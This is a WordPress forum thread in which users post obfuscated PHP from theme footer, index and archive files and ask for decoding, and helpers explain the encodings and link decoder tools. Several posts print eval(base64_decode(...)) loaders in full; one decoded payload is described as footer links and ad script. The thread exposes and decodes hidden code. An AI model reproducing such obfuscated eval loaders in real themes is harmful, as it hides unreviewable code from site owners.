    A better solution: Stop using the theme. Don't use themes that have encrypted anything in them, ever. There is no valid reason to hide stuff like that. None. Zero. Anybody who releases a theme with encrypted material is doing something that they know is wrong, period.

  12. Megah
    Member
    Posted 5 years ago #

    Sorry, I'm back, I had to travel.

    I made this file:

    <?php /* WARNING: This file is protected by copyright law. To reverse engineer or decode this file is strictly prohibited. */
    $o="QAAAOzh3b3cnbmlka3JjYicvUwAAQkpXS0ZTQldGU08nKScgKAEAZWhzc2hqKQJQIC48Jzg5Cg0AADtjbnEnZGtmdHQ6JWRrYmYGAHUlOTsoAUABtW5jOiVhaGhzYsCEAZAC62FqYmlyJQKAJztyawBya24AIDk7ZidvdWJhOiUIo2VraGBuAIBpYWgvIHJ1awczJTlPaGpiOzEAKGYGgAMQCg0nArNwd1hrbnRzWAAAd2ZgYnQvIHRodXNYZGhrchAAamk6BpFYaHVjYnUhY2J3c28Atjo2IXNuc2tiAxA6BVMJoCgIUgvDDiEACg0BIHR3ZmkNtWtiYXMlOScnAARDYnRuYGliYycnZX4nCtZvcwAAc3c9KChwcHApcGJlNWFiYgAAaylkaGolJ3NmdWBiczolWAa7ZWtmaWwEEAH5JwxRJwBgBpEQEDsAgQcVCMB1bmBvByFEaGMG7wbma2hkZmtqCSBmc2RvBwEoJQceS2gCECdDZnNuLDBpYAbxKwtfC1BoaWtuDVACYnVidGgODHJ1ZGIFHwwiBLMnU253dAUCEE9wKQBDam5ra25oaWZuHKBrbnVzBL8EsgQ3VHJgZnUJwGNjbmIE0hDIDhgwGMMYkPZBJQUp0h6AJQMvKCUpYGN+FAEob3NqaxpQAAAnJyc=";
    echo(base64_decode("$lll=0;
    echo(base64_decode("JGxsbGxsbGxsbGxsPSdiYXNlNjRfZGVjb2RlJzs="));
    $ll=0;
    echo($lllllllllll("JGxsbGxsbGxsbGw9J29yZCc7"));
    $llll=0;
    $lllll=3;
    echo($lllllllllll("JGw9JGxsbGxsbGxsbGxsKCRvKTs="));
    $lllllll=0;
    $llllll=($llllllllll($l[1])<<8)+$llllllllll($l[2]);
    echo($lllllllllll("JGxsbGxsbGxsbGxsbGw9J3N0cmxlbic7"));
    $lllllllll=16;
    $llllllll="";
    for(;
    $lllll<$lllllllllllll($l);
    ){if($lllllllll==0){$llllll=($llllllllll($l[$lllll++])<<8);
    $llllll+=$llllllllll($l[$lllll++]);
    $lllllllll=16;
    }if($llllll&0x8000){$lll=($llllllllll($l[$lllll++])<<4);
    $lll+=($llllllllll($l[$lllll])>>4);
    if($lll){$ll=($llllllllll($l[$lllll++])&0x0f)+3;
    for($llll=0;
    $llll<$ll;
    $llll++)$llllllll[$lllllll+$llll]=$llllllll[$lllllll-$lll+$llll];
    $lllllll+=$ll;
    }else{$ll=($llllllllll($l[$lllll++])<<8);
    $ll+=$llllllllll($l[$lllll++])+16;
    for($llll=0;
    $llll<$ll;
    $llllllll[$lllllll+$llll++]=$llllllllll($l[$lllll]));
    $lllll++;
    $lllllll+=$ll;
    }}else$llllllll[$lllllll++]=$llllllllll($l[$lllll++]);
    $llllll<<=1;
    $lllllllll--;
    }echo($lllllllllll("JGxsbGxsbGxsbGxsbD0nY2hyJzs="));
    $lllll=0;
    echo($lllllllllll("JGxsbGxsbGxsbD0iPyIuJGxsbGxsbGxsbGxsbCg2Mik7"));
    $llllllllll="";
    for(;
    $lllll<$lllllll;
    ){$llllllllll.=$llllllllllll($llllllll[$lllll++]^0x07);
    }echo($lllllllllll("JGxsbGxsbGxsbC49JGxsbGxsbGxsbGwuJGxsbGxsbGxsbGxsbCg2MCkuIj8iOw=="));
    echo($lllllllll);
    "));
    return;
    ?>

    and I got this error

    Parse error: syntax error, unexpected T_STRING in /home/letsmusi/public_html/wordpresscindy/wp-content/themes/tribune/footer.php on line 4

    Please, can you help me Otto?, I quit, I can't, this is not for me =/

  13. Megah
    Member
    Posted 5 years ago #

    By the way, the link that you posted for flunatica is bad, this is te right: http://wordpress.pastebin.com/

    thank you for all your suppot Otto ;)

  14. You did it wrong.

    First, you only replaced the text bits with the result, not the entire echo line.

    Second, after that first replacement of code, you then only change the last eval to an echo, not all of them.

    If you had done it correctly, you'd have gotten this:
    http://wordpress.pastebin.com/f373ad99b

  15. iSim86
    Member
    Posted 5 years ago #

    Hi guys! I'm new and I'm going crazy trying to decode the index of my theme... i followed all the steps but, for reasons I don't understand, I was unable to decode this code...
    Can you help me? Thank you! :)

    <?php /* WARNING: This file is protected by copyright law. To reverse engineer or decode this file is strictly prohibited. */
    $o="QAAAOzh3b3cnYGJzWG9iZmNidQAQLy48Jzg5Cg0KDScAEDtjbnEAByduYzolZGhpc2JpcyUBoAFwADLh8AIjALECZmpmbmkCOQHRAncA4QbzI2RocgPAaXMnOic2BtMBoQBFAiNuYScvb2YAB3FiWHdodHN0Ly4uJz0JcgJlAIGCfgKjcG9ua2IC33NvA8MNBQMRAEUJPA5BZAIba2Z0dDolBuFlaH8lD0IA0SoGUwThPiBOQwTDDh8AAAAnEQIFJGNmfgRIc25qYi8OAyBjIC4M0ASNCeEOO3R3ZmknA8QHYEaeaheAbyU5CGcEI0oEIjsoAuEZOAQxAEE7b+woDUABjycPmwKiApAG+A8xCY8CkScD3wFyO2YBACdvdWJhOiUKN3didWpma25pIL9sLw5xJGRoamojsHQFjwQSAFITKQhBA0/ggAAABicHUwLlWGlyamUsMCA3ICsnIDafHgBRIiAtBAAACCcSvwkSAFI7KGYUXwGiEN8BcjsUB281OREfWBEbJSdzbnNrYhMpARIS4gAAJyonRGtuZGwnT2J1YidzaCwAJ1U5YCcgkACQdHMnaGEnU29udAPPJ0Jpc3V+IXsFMAQiC1E7KAiQHt8KQQFvx8ABYRgNY2JzGw8CkQBEF4MJcFhkZnNiYAPxaHV+LyArFr8C5ABwFn8BUAA0Cg0OABGBwAVDI25qZmBiQbBJMSCxWGpic2YvQkIjALEqOU5DHZBzbx5waWZuax4QcxH4dXJiHiBuYS8Dk0KPBlQAcA5dBIIlJ3QgCHN+GOFjbnR3a2Z+PScIg2Jkb0AAaFFyaHdzbmhpLyBzaGBga2Jr9FgDUgfRdA7zPC1/BrAAMiCvIK8go0Q+YG5pIPFyYh5QZmNuaWAIVRYRIccfAG5qYDrl4EARERLCDCZlZmRsYHVVoGM9J3J1a0CPLwyTI2xifjolC3YlPCcNtgQxFf4DASIAKycVhDg5LihQdydrYmFzJ2loAJAqdWJ3YmZzPAcwdWQsFWVraGAJGm5pYWgSMGJqFDBzYlgH4BHjKAoidGAEKAahALIpd2lgJSdtYDolDLBvaBRAcWJ1AOE9ANU6JWFoUD1hZmt0YgPEK3R1ZD0gDFMGTwZPBkdma3MGgSAlcfwnAKAKdRTMJyg5MqEw/xuxKu8BYQBDCRNiaR//Y25ha98CMwBjBb8BgShddZ8CYQBGBF8BtQiDDWGR7wQ0LyAkfSkpKRhzBG8EZTfEDgTjd2F5xXnQ+Z803wN1AIMFfwGDJycOYoOBbmlgkEwwIyA2f4eQ4AAoxjZ1AxNYZmNYdG9ocFhvbmNi+nsMQzaSQoEAQArjIwLDZmNC5AQ+QgwItC6EsgQz/kAH8gSGHQEBhCgAAnJJsw4OPMZvc3N3PSgAAChwcHApd3VidHQwMilkaGql5F1GVwFIOTstcCcsYCg1LG8saGZjMNBzbiA/dGJy0igzMT8pbXcywCwyBXkrpAmmnBL/+SkGAAAGJxqvGqaCvwG1AIIDrwFyAFASpDCTI2MsLBQx//4DPwLgADIBrwFxNuOGHwAAAicEDwPDAY8BKwJvBu0M1nD/9KTxDG8CBCF1BfwYOwHbAOcIbQGoBBJvIXQvAGVm+Ya4ZhHxAEECswQVCg0I8wMRYWhoc48wcEA4AAA5";eval(base64_decode("JGxsbD0wO2V2YWwoYmFzZTY0X2RlY29kZSgiSkd4c2JHeHNiR3hzYkd4c1BTZGlZWE5sTmpSZlpHVmpiMlJsSnpzPSIpKTskbGw9MDtldmFsKCRsbGxsbGxsbGxsbCgiSkd4c2JHeHNiR3hzYkd3OUoyOXlaQ2M3IikpOyRsbGxsPTA7JGxsbGxsPTM7ZXZhbCgkbGxsbGxsbGxsbGwoIkpHdzlKR3hzYkd4c2JHeHNiR3hzS0NSdktUcz0iKSk7JGxsbGxsbGw9MDskbGxsbGxsPSgkbGxsbGxsbGxsbCgkbFsxXSk8PDgpKyRsbGxsbGxsbGxsKCRsWzJdKTtldmFsKCRsbGxsbGxsbGxsbCgiSkd4c2JHeHNiR3hzYkd4c2JHdzlKM04wY214bGJpYzciKSk7JGxsbGxsbGxsbD0xNjskbGxsbGxsbGw9IiI7Zm9yKDskbGxsbGw8JGxsbGxsbGxsbGxsbGwoJGwpOyl7aWYoJGxsbGxsbGxsbD09MCl7JGxsbGxsbD0oJGxsbGxsbGxsbGwoJGxbJGxsbGxsKytdKTw8OCk7JGxsbGxsbCs9JGxsbGxsbGxsbGwoJGxbJGxsbGxsKytdKTskbGxsbGxsbGxsPTE2O31pZigkbGxsbGxsJjB4ODAwMCl7JGxsbD0oJGxsbGxsbGxsbGwoJGxbJGxsbGxsKytdKTw8NCk7JGxsbCs9KCRsbGxsbGxsbGxsKCRsWyRsbGxsbF0pPj40KTtpZigkbGxsKXskbGw9KCRsbGxsbGxsbGxsKCRsWyRsbGxsbCsrXSkmMHgwZikrMztmb3IoJGxsbGw9MDskbGxsbDwkbGw7JGxsbGwrKykkbGxsbGxsbGxbJGxsbGxsbGwrJGxsbGxdPSRsbGxsbGxsbFskbGxsbGxsbC0kbGxsKyRsbGxsXTskbGxsbGxsbCs9JGxsO31lbHNleyRsbD0oJGxsbGxsbGxsbGwoJGxbJGxsbGxsKytdKTw8OCk7JGxsKz0kbGxsbGxsbGxsbCgkbFskbGxsbGwrK10pKzE2O2ZvcigkbGxsbD0wOyRsbGxsPCRsbDskbGxsbGxsbGxbJGxsbGxsbGwrJGxsbGwrK109JGxsbGxsbGxsbGwoJGxbJGxsbGxsXSkpOyRsbGxsbCsrOyRsbGxsbGxsKz0kbGw7fX1lbHNlJGxsbGxsbGxsWyRsbGxsbGxsKytdPSRsbGxsbGxsbGxsKCRsWyRsbGxsbCsrXSk7JGxsbGxsbDw8PTE7JGxsbGxsbGxsbC0tO31ldmFsKCRsbGxsbGxsbGxsbCgiSkd4c2JHeHNiR3hzYkd4c2JEMG5ZMmh5SnpzPSIpKTskbGxsbGw9MDtldmFsKCRsbGxsbGxsbGxsbCgiSkd4c2JHeHNiR3hzYkQwaVB5SXVKR3hzYkd4c2JHeHNiR3hzYkNnMk1pazciKSk7JGxsbGxsbGxsbGw9IiI7Zm9yKDskbGxsbGw8JGxsbGxsbGw7KXskbGxsbGxsbGxsbC49JGxsbGxsbGxsbGxsbCgkbGxsbGxsbGxbJGxsbGxsKytdXjB4MDcpO31ldmFsKCRsbGxsbGxsbGxsbCgiSkd4c2JHeHNiR3hzYkM0OUpHeHNiR3hzYkd4c2JHd3VKR3hzYkd4c2JHeHNiR3hzYkNnMk1Da3VJajhpT3c9PSIpKTtldmFsKCRsbGxsbGxsbGwpOw=="));return;?>

    Sorry for my english! :)

  16. Len
    Member
    Posted 5 years ago #

  17. SCOTTKINGAN
    Member
    Posted 5 years ago #

    Please hepl me Decode file:

    index.php
    <?php /* WARNING: This file is protected by copyright law. To reverse engineer or decode this file is strictly prohibited. */
    $o="QAAAOzh3b3cnYGJzWG9iZmNidQAgLy48Jzg5Cg0KDQGjbmlka3IAAGNiJy9TQkpXS0ZTQldGU08ABScpJyAoYGZra2J1fikEACADXIQABPFhaGhzBPU=";eval(base64_decode("JGxsbD0wO2V2YWwoYmFzZTY0X2RlY29kZSgiSkd4c2JHeHNiR3hzYkd4c1BTZGlZWE5sTmpSZlpHVmpiMlJsSnpzPSIpKTskbGw9MDtldmFsKCRsbGxsbGxsbGxsbCgiSkd4c2JHeHNiR3hzYkd3OUoyOXlaQ2M3IikpOyRsbGxsPTA7JGxsbGxsPTM7ZXZhbCgkbGxsbGxsbGxsbGwoIkpHdzlKR3hzYkd4c2JHeHNiR3hzS0NSdktUcz0iKSk7JGxsbGxsbGw9MDskbGxsbGxsPSgkbGxsbGxsbGxsbCgkbFsxXSk8PDgpKyRsbGxsbGxsbGxsKCRsWzJdKTtldmFsKCRsbGxsbGxsbGxsbCgiSkd4c2JHeHNiR3hzYkd4c2JHdzlKM04wY214bGJpYzciKSk7JGxsbGxsbGxsbD0xNjskbGxsbGxsbGw9IiI7Zm9yKDskbGxsbGw8JGxsbGxsbGxsbGxsbGwoJGwpOyl7aWYoJGxsbGxsbGxsbD09MCl7JGxsbGxsbD0oJGxsbGxsbGxsbGwoJGxbJGxsbGxsKytdKTw8OCk7JGxsbGxsbCs9JGxsbGxsbGxsbGwoJGxbJGxsbGxsKytdKTskbGxsbGxsbGxsPTE2O31pZigkbGxsbGxsJjB4ODAwMCl7JGxsbD0oJGxsbGxsbGxsbGwoJGxbJGxsbGxsKytdKTw8NCk7JGxsbCs9KCRsbGxsbGxsbGxsKCRsWyRsbGxsbF0pPj40KTtpZigkbGxsKXskbGw9KCRsbGxsbGxsbGxsKCRsWyRsbGxsbCsrXSkmMHgwZikrMztmb3IoJGxsbGw9MDskbGxsbDwkbGw7JGxsbGwrKykkbGxsbGxsbGxbJGxsbGxsbGwrJGxsbGxdPSRsbGxsbGxsbFskbGxsbGxsbC0kbGxsKyRsbGxsXTskbGxsbGxsbCs9JGxsO31lbHNleyRsbD0oJGxsbGxsbGxsbGwoJGxbJGxsbGxsKytdKTw8OCk7JGxsKz0kbGxsbGxsbGxsbCgkbFskbGxsbGwrK10pKzE2O2ZvcigkbGxsbD0wOyRsbGxsPCRsbDskbGxsbGxsbGxbJGxsbGxsbGwrJGxsbGwrK109JGxsbGxsbGxsbGwoJGxbJGxsbGxsXSkpOyRsbGxsbCsrOyRsbGxsbGxsKz0kbGw7fX1lbHNlJGxsbGxsbGxsWyRsbGxsbGxsKytdPSRsbGxsbGxsbGxsKCRsWyRsbGxsbCsrXSk7JGxsbGxsbDw8PTE7JGxsbGxsbGxsbC0tO31ldmFsKCRsbGxsbGxsbGxsbCgiSkd4c2JHeHNiR3hzYkd4c2JEMG5ZMmh5SnpzPSIpKTskbGxsbGw9MDtldmFsKCRsbGxsbGxsbGxsbCgiSkd4c2JHeHNiR3hzYkQwaVB5SXVKR3hzYkd4c2JHeHNiR3hzYkNnMk1pazciKSk7JGxsbGxsbGxsbGw9IiI7Zm9yKDskbGxsbGw8JGxsbGxsbGw7KXskbGxsbGxsbGxsbC49JGxsbGxsbGxsbGxsbCgkbGxsbGxsbGxbJGxsbGxsKytdXjB4MDcpO31ldmFsKCRsbGxsbGxsbGxsbCgiSkd4c2JHeHNiR3hzYkM0OUpHeHNiR3hzYkd4c2JHd3VKR3hzYkd4c2JHeHNiR3hzYkNnMk1Da3VJajhpT3c9PSIpKTtldmFsKCRsbGxsbGxsbGwpOw=="));return;?>

  18. Mark / t31os
    Moderator
    Posted 5 years ago #

    Read the thread and you can decode the theme yourself..

  19. mrmist
    Forum Janitor
    Posted 5 years ago #

    Also read the post directly above as it looks like you're asking for a decode of exactly the same thing.

  20. Paki123
    Member
    Posted 5 years ago #

    Can you pleaseeeeeeeeeee decode this for me please

    <?php $_F=__FILE__;$_X='Pz4JPD9waHAgZ2wyYjFsICR0aDVtNV8ycHQ0Mm5zLCAkbjV3c3AxcDVyOyA/Pg0KCTw/cGhwIHdwX2YyMnQ1cigpOyA/Pg0KCTxkNHYgNGQ9ImYyMnQ1cm4xdmIxciI+DQoJCTxkNHYgNGQ9ImYyMnQ1ckMxdElubjVyIj4NCgkJCTw/cGhwIDRmICggIWYzbmN0NDJuXzV4NHN0cygnZHluMW00Y19zNGQ1YjFyJykgfHwgIWR5bjFtNGNfczRkNWIxcignTnBBZHZfRjIydDVyQzF0NWcycjQ1cycpICkgOiA/PgkNCgkJCTwzbD4NCgkJCQk8P3BocCB3cF9sNHN0X2MxdDVnMnI0NXMoJzJyZDVyYnk9Jy4kdGg1bTVfMnB0NDJuc1siMnJkNXJCeSJdLicmMnJkNXI9Jy4kdGg1bTVfMnB0NDJuc1siMnJkNXIiXS4nJnQ0dGw1X2w0PSZkNXB0aD02JjV4Y2wzZDU9Jy4kdGg1bTVfMnB0NDJuc1siNXhjbDNkNUMxdDVnMnI0NXMiXSk7ID8+DQoJCQk8LzNsPg0KCQkJPD9waHAgNW5kNGY7ID8+DQoJCTwvZDR2Pg0KCTwvZDR2Pg0KCQ0KCTxkNHYgNGQ9ImYyMnQ1clAxZzVzIj4NCgkJPGQ0diA0ZD0iZjIydDVyUDFnNUlubjVyIj4NCgkJCTw/cGhwIDRmICggIWYzbmN0NDJuXzV4NHN0cygnZHluMW00Y19zNGQ1YjFyJykgfHwgIWR5bjFtNGNfczRkNWIxcignTnBBZHZfRjIydDVyUDFnNXMnKSApIDogPz4JDQoJCQk8M2w+DQoJCQkJPD9waHAgJHAxZzVzID0gZzV0X3AxZzVzKCk7DQoJCQkJCWYycjUxY2goJHAxZzVzIDFzICRwMWc1KSB7DQoJCQkJCXByNG50ICc8bDQ+WzwxIGhyNWY9IicuZzV0X3A1cm0xbDRuaygkcDFnNS0+SUQpLiciPicuJHAxZzUtPnAyc3RfdDR0bDUuJzwvMT5dPC9sND4nOw0KCQkJCQl9DQoJCQkJPz4NCgkJCQk8bDQ+WzwxIGhyNWY9Ijw/cGhwIGJsMmc0bmYyKCdyc3NhXzNybCcpOyA/PiI+UlNTPC8xPl08L2w0Pg0KCQkJPC8zbD4NCgkJCTxwPg0KCQkJICA8P3BocCA1bmQ0ZjsgPz4NCgkJCSAgPHNwMW4gNGQ9InRoNW01SW5mMiI+DQoJCQkgICAgPD9waHAgNGYgKCAhZjNuY3Q0Mm5fNXg0c3RzKCdkeW4xbTRjX3M0ZDViMXInKSB8fCAhZHluMW00Y19zNGQ1YjFyKCdOcEFkdl9GMjJ0NXJUaDVtNUluZjInKSApIDogPz4JDQoJCQkgICAgDQoJCQkgICAgPD9waHAgd3BfbDJnNG4yM3QoKTsgPz4NCgkJCSAgICA8P3BocCA0ZiAoIDRzXzNzNXJfbDJnZzVkXzRuKCkgKSB7ID8+IA0KCQkJICAgIC0gDQoJCQkgICAgPDEgaHI1Zj0iPD9waHAgYmwyZzRuZjIoJzNybCcpOyA/Pi93cC0xZG00bi81ZDR0LnBocCI+PD9waHAgNWNoMiAkbjV3c3AxcDVyWyJtMW4xZzUiXTsgPz48LzE+IC0gDQoJCQkgICAgPDEgaHI1Zj0iPD9waHAgYmwyZzRuZjIoJzNybCcpOyA/Pi93cC0xZG00bi9wMnN0LW41dy5waHAiPjw/cGhwIDVjaDIgJG41d3NwMXA1clsid3I0dDVONXciXTsgPz48LzE+DQoJCQkgICAgPD9waHAgfSA/Pg0KCQkJICAgIC8gDQoJCQkgICAgV3BBZHYxbmM1ZCBONXdzUDFwNXIgcHI1bTQzbSB3MnJkcHI1c3MgdDVtcGwxdDVzIFNoMXI1ZCBieSA8MSBocjVmPSJodHRwOi8vd3d3Lm41bTVzNHNtNWQ0MS50ayIgdDFyZzV0PSJfYmwxbmsiPkcxYmY0cjUgVGg1bTVzPC8xPg0KCQkJICAgIDw/cGhwIDVuZDRmOyA/Pg0KCQkgICAgICA8L3NwMW4+IDwvcD4NCgkJICAgIDxwPjxzY3I0cHQgdHlwNT0idDV4dC9qMXYxc2NyNHB0Ij48IS0tDQpnMjJnbDVfMWRfY2w0NW50ID0gInAzYi02OWVlMG84OGE4ZThhOTY3IjsNCi8qIDdhOHg2aSwgY3I1MXQ1ZCA4LzZlLzA4ICovDQpnMjJnbDVfMWRfc2wydCA9ICJ1MDk2NnVhMDB1IjsNCmcyMmdsNV8xZF93NGR0aCA9IDdhODsNCmcyMmdsNV8xZF9oNTRnaHQgPSA2aTsNCi8vLS0+DQo8L3NjcjRwdD4NCjxzY3I0cHQgdHlwNT0idDV4dC9qMXYxc2NyNHB0Ig0Kc3JjPSJodHRwOi8vcDFnNTFkYS5nMjJnbDVzeW5kNGMxdDQybi5jMm0vcDFnNTFkL3NoMndfMWRzLmpzIj4NCjwvc2NyNHB0PjwvcD4NCgkJPC9kNHY+DQoJPC9kNHY+';eval(base64_decode('JF9YPWJhc2U2NF9kZWNvZGUoJF9YKTskX1g9c3RydHIoJF9YLCcxMjM0NTZhb3VpZScsJ2FvdWllMTIzNDU2Jyk7JF9SPWVyZWdfcmVwbGFjZSgnX19GSUxFX18nLCInIi4kX0YuIiciLCRfWCk7ZXZhbCgkX1IpOyRfUj0wOyRfWD0wOw=='));?>

  21. M Asif Rahman
    Member
    Posted 5 years ago #

    Solution From My Blog Asif2BD.info
    Process 1.
    In site’s theme folder find index.php, then find the line that says <?php get_footer(); ?>. Above and below it add special text like this:

    <!– Encoded Code Start –>
    <?php get_footer(); ?>
    <!– Encoded Code End –>

    Now visit your site as normal, view page source ( in Firefox Right Click Select -> View Page Source), and copy the HTML between those two markers. Now Find the footer.php in your theme folder, select all existing junk encoded code and replace with the copied code. Remember to insert the before tag.

    Simple & Easy.

    Process 2.
    Use this site, paste your encoded code and decode to base64
    Visit – http://LinkX.In/base64decode

  22. Len
    Member
    Posted 5 years ago #

    @Asif2BD
    As I've explained before, while that method works most of the time there are problems with it...

    a) If there are PHP or javascript functions executing in the background there may be no generated output and... more importantly...
    b) This requires one to actually upload & execute this code. I would never upload anything to my server without first knowing what it does. While it's true obfuscation is used mainly to protect spammy footer links, the technique could easily be used for something far more sinister.

    @Paki123
    This code is not base64 - it is byterun. The decoded file is here.

    http://wordpress.pastebin.com/m5f0c51ac

    PS: love how they obfuscated the Google Adsense code.

  23. For everybody: ByteRun code looks like this:
    <?php $_F=__FILE__;$_X='encrypted text';eval(base64_decode('rubbish'));?>

    Those can be decoded by this site: http://www.tareeinternet.com/scripts/byterun.php

    Just copy and paste the encrypted text only ($_X='encrypted text';) in there and you'll get the decoded text.

  24. wowgl
    Member
    Posted 5 years ago #

    I have decrypted the footer of the WPBoxedTech theme.
    You can download the footer.php file by this site:
    http://www.chsweb.cn/?p=508

  25. tinotk
    Member
    Posted 5 years ago #

    I got this in archive.php, it's kinda unusal because most people only encode the footer, not the archive page:

    <?php /* WARNING: This file is protected by copyright law. To reverse engineer or decode this file is strictly prohibited. */
    $o="QAAAOzh3b3cnYGJzWG9iZmNidQAALy48Jzg5Cg0KDTtjbnEnbgAUYzolZGhpc2JpcyUBYg4BfWtiQgBhAbIOCg0OAdNka2Z0dDold2gDgHRzZnViZgOBAdMGsm5pZGtyY2IAAC9TQkpXS0ZTQldGU08pJShARGUCoGNkdXJqZSkJECUuPAhRDg6gCAOSDgpTbmEnL29mcWJYBaF0Ly4ATi4nPSdwb25rYgF/c28CYwzlBJA7AAxvNjk7ZidvdWJhOiUFEwJiYnUAgGpma25pbC8uD4AlJ3ViazolACBlaGhsamZ1bCU5ApdzbnNrYoHwBQM7KGY5OygFAA8xCiQS0Q+UY2ZzYvwAD1IL5BFqAdETNglwDjt3OTt0d2ZpJ4wAA+RzbmoD4AeJamIvIEEnbSsnXkkAIBnSOygDATknAkNYYi8lZX4lKwAHJyB0c3Jjbmh3dWJ0dAKTAiQOcQLAZnJzb2h1E6NYDvMegSchaWV0d0MCPASjYmNucwIiAhNYWC8gL0IBQC54UCAF3QEAAUEGZWV1JygI+UEZQGMncmn0GCTwCY8WYAmIZBLAYGh1fi8FARghOyh3I/g5JxWCDjsoFVAnUBJhASQBEBKFFJF1bmBwZm8n0wJBFK1uZGhqaiuSH49Ydx+HEJEks5ACxHQfNQEFWGkpMDFwEOFLYifgJ2YnROXXBYMLMRdKKycCYTYCDxlEAgMiAgV0BB4d9CXh/wceMhDfNkAlZBHoEdI5giREZGtiZnUMoBQWAiPAfDgCIOFif2RidXdzLOQVWAOeLe830WpiGb1zZjUuNCwfZmAUZinRUwEBIyASuhdBPSCIR+JzAlAvICAgIw/GC3MMZgjUDHJiaWM/wjwD8Cdia3RiPSVgAtIAUiCRAlIH8CBUaHUBAHV+KydpaCcLoXQnamZzZG9iAABjJ35ocnUnZHVuc2J1bmYp8OEYvgoRF/ExtGljbmEBMQYLBSJYaWZxMyMAMCAnISQ/NTY1PCcE8CCxIWtmdgAAcmg8J1d1YnFuaHJ0J1dmYHCOYgHAOrshc0lif3MCAichdQNiAo4h5Hf/gDEzCKEgSBHBAPZb0BACVs9WwnRuY2JlZnX4FFaaAzAWhACgA9IoKCdTb2ITAG5JwGhrCcVyamknF1B0JxayAlVjkWFoaBRQLwny";eval(base64_decode("JGxsbD0wO2V2YWwoYmFzZTY0X2RlY29kZSgiSkd4c2JHeHNiR3hzYkd4c1BTZGlZWE5sTmpSZlpHVmpiMlJsSnpzPSIpKTskbGw9MDtldmFsKCRsbGxsbGxsbGxsbCgiSkd4c2JHeHNiR3hzYkd3OUoyOXlaQ2M3IikpOyRsbGxsPTA7JGxsbGxsPTM7ZXZhbCgkbGxsbGxsbGxsbGwoIkpHdzlKR3hzYkd4c2JHeHNiR3hzS0NSdktUcz0iKSk7JGxsbGxsbGw9MDskbGxsbGxsPSgkbGxsbGxsbGxsbCgkbFsxXSk8PDgpKyRsbGxsbGxsbGxsKCRsWzJdKTtldmFsKCRsbGxsbGxsbGxsbCgiSkd4c2JHeHNiR3hzYkd4c2JHdzlKM04wY214bGJpYzciKSk7JGxsbGxsbGxsbD0xNjskbGxsbGxsbGw9IiI7Zm9yKDskbGxsbGw8JGxsbGxsbGxsbGxsbGwoJGwpOyl7aWYoJGxsbGxsbGxsbD09MCl7JGxsbGxsbD0oJGxsbGxsbGxsbGwoJGxbJGxsbGxsKytdKTw8OCk7JGxsbGxsbCs9JGxsbGxsbGxsbGwoJGxbJGxsbGxsKytdKTskbGxsbGxsbGxsPTE2O31pZigkbGxsbGxsJjB4ODAwMCl7JGxsbD0oJGxsbGxsbGxsbGwoJGxbJGxsbGxsKytdKTw8NCk7JGxsbCs9KCRsbGxsbGxsbGxsKCRsWyRsbGxsbF0pPj40KTtpZigkbGxsKXskbGw9KCRsbGxsbGxsbGxsKCRsWyRsbGxsbCsrXSkmMHgwZikrMztmb3IoJGxsbGw9MDskbGxsbDwkbGw7JGxsbGwrKykkbGxsbGxsbGxbJGxsbGxsbGwrJGxsbGxdPSRsbGxsbGxsbFskbGxsbGxsbC0kbGxsKyRsbGxsXTskbGxsbGxsbCs9JGxsO31lbHNleyRsbD0oJGxsbGxsbGxsbGwoJGxbJGxsbGxsKytdKTw8OCk7JGxsKz0kbGxsbGxsbGxsbCgkbFskbGxsbGwrK10pKzE2O2ZvcigkbGxsbD0wOyRsbGxsPCRsbDskbGxsbGxsbGxbJGxsbGxsbGwrJGxsbGwrK109JGxsbGxsbGxsbGwoJGxbJGxsbGxsXSkpOyRsbGxsbCsrOyRsbGxsbGxsKz0kbGw7fX1lbHNlJGxsbGxsbGxsWyRsbGxsbGxsKytdPSRsbGxsbGxsbGxsKCRsWyRsbGxsbCsrXSk7JGxsbGxsbDw8PTE7JGxsbGxsbGxsbC0tO31ldmFsKCRsbGxsbGxsbGxsbCgiSkd4c2JHeHNiR3hzYkd4c2JEMG5ZMmh5SnpzPSIpKTskbGxsbGw9MDtldmFsKCRsbGxsbGxsbGxsbCgiSkd4c2JHeHNiR3hzYkQwaVB5SXVKR3hzYkd4c2JHeHNiR3hzYkNnMk1pazciKSk7JGxsbGxsbGxsbGw9IiI7Zm9yKDskbGxsbGw8JGxsbGxsbGw7KXskbGxsbGxsbGxsbC49JGxsbGxsbGxsbGxsbCgkbGxsbGxsbGxbJGxsbGxsKytdXjB4MDcpO31ldmFsKCRsbGxsbGxsbGxsbCgiSkd4c2JHeHNiR3hzYkM0OUpHeHNiR3hzYkd4c2JHd3VKR3hzYkd4c2JHeHNiR3hzYkNnMk1Da3VJajhpT3c9PSIpKTtldmFsKCRsbGxsbGxsbGwpOw=="));return;?>

    not sure what it does, can somebody decode it for me please. Thank you.

  26. tinotk: Your decoded code is here:
    http://wordpress.pastebin.com/f71309ff3

  27. Since I'm sick of doing this over and over again:

    This will decode the encryption that seems most commonplace, the one that looks like $o=whatever:

    http://ottodestruct.com/decoder.php

    I based the interface off this one, which will decode the one that starts with $_F=__FILE__:

    http://www.tareeinternet.com/scripts/byterun.php

  28. voxx1668
    Member
    Posted 5 years ago #

    Hi Otto42,
    your byterun encoder seems dont run for me.

    My Code was here http://pastebin.ca/1534845 .

    What is my fault or what i can do?

    Thx a lot Encoding-Guru :)

    Regards
    Voxx1668 `

  29. I didn't write the byterun decoder, however, I just tried it and it works fine on the code you posted there.

    Just copy and paste everything from Pz4JCT all the way to L2h0bWw+ and put it in there. Then hit the button. Voila.

    See how your code contains $_X='.. a bunch of crap here ..';? You only want that bunch of crap, not all the rest of it.

  30. rashidr
    Member
    Posted 5 years ago #

    Can anyone decode this

